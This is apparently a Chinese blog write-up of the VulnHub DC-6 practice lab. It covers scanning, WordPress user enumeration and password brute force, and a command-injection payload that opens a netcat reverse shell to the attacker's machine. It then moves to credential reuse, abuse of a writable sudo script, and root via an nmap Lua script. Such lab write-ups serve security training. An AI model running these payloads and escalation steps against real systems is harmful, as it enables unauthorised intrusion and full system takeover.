vulnhub DC-6

探测存活主机

nmap -sP 192.168.19.128/24

发现了192.168.19.133,扫描开放端口

nmap -p- 192.168.19.133

存在的端口如下

22/tcp open  ssh
80/tcp open  http

访问80端口,发现重定向到了wordy,去手动配置hosts文件

渗透

用whatweb扫一下看看

whatweb -v 192.168.19.133

发现是wordpress5.1.1框架
用wpscan扫一下看看

wpscan --url http://wordy -e u

扫描发现存在admin,mark,graham,sarah,jens
我们接下来尝试破解一下密码,首先先将用户名写到文件中,然后生成密码本.(vulnhub DC给的提示)

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

使用wpscan爆破

wpscan --url http://wordy -U username -P passwords.txt

发现Username: mark, Password: helpdesk01
然后我们使用这个账号密码在wp-admin路由处进行登录
在Activity monitor->tools->look up处存在rce漏洞
image

会将我们输入的ip直接拼接到命令中去执行.
反弹shell到kali

nc -lvvp 2333 #kali
baidu.com|nc -e /bin/bash 192.168.19.128 2333 #web

然后我们利用pty模块生成一个伪终端.

python -c 'import pty;pty.spawn("/bin/bash")'

然后我们查看发现可以访问mark home,发现存在文件/home/mark/stuff/things-to-do.txt,查看如下

Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

可以看到用户graham的密码.我们切换到graham用户.

su graham

使用sudo -l查看权限如下

Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

发现可以无密码的执行jens下的backups.sh文件,查看发现如下

#!/bin/bash
tar -czf backups.tar.gz /var/www/html

是使用bash解释器进行的脚本文件.查看文件权限发现可以读写执行.我们直接向文件末端添加

echo "/bin/bash" >> /home/jens/backups.sh

然后使用jens的权限进行无密码执行(如果不用sudo的话切换的还是graham的baash)

sudo -u jens /home/jens/backups.sh

此时我们就切换到了jens

Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap

发现可以无密码以root权限使用nmap
在旧版的时候可以使用如下命令进行提权

nmap --interactive
!sh

直接选择解释器为sh,但是新版中无法使用--interactive.
然而由于Nmap允许使用并执行Nmap脚本,该脚本都是通过Lua语言写的,因此我们可以构造如下的提权

echo  "os.execute('/bin/sh')" > getshell
sudo nmap --script=getshell

此时就能无密码运行提权脚本.切换到root home获得flag
image

posted @   meraklbz  阅读(122)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
点击右上角即可分享
微信分享提示